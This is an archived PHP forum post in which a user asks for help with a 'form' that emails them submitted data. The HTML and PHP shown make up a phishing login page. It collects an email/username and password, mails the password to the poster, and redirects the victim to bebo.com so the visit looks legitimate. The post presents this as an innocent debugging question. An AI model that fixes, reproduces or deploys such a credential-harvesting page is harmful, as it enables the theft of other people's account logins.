Jump to content

Email Form Data


Aitken91

Recommended Posts

Hi, I'm making a website that has a form. When the user clicks the submit button i need it to email me the data.

 

Currently everything works, except i am not getting the emails.

 

The web page code is:

<form method="post" action="sendmail.php">

        <p align="right">Email / Username:

            <input name="email" type="text" />

         

          Password: 

          <input name="message" type="password" />

        <input name="submit" type="submit" value="Log In" />

    </p>

        </form>

 

And the php (sendmail.php) scrips code is:

<?

  $email = $_REQUEST['email'] ;

  $message = $_REQUEST['message'] ;

 

  mail( "[email protected]", "Accounts",

    $message, "From: $email" );

  header( "Location: http://www.bebo.com" );

?>

 

I know little PHP, and would be grateful for any help.

Aitken91

Link to comment
https://forums.phpfreaks.com/topic/63061-email-form-data/
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.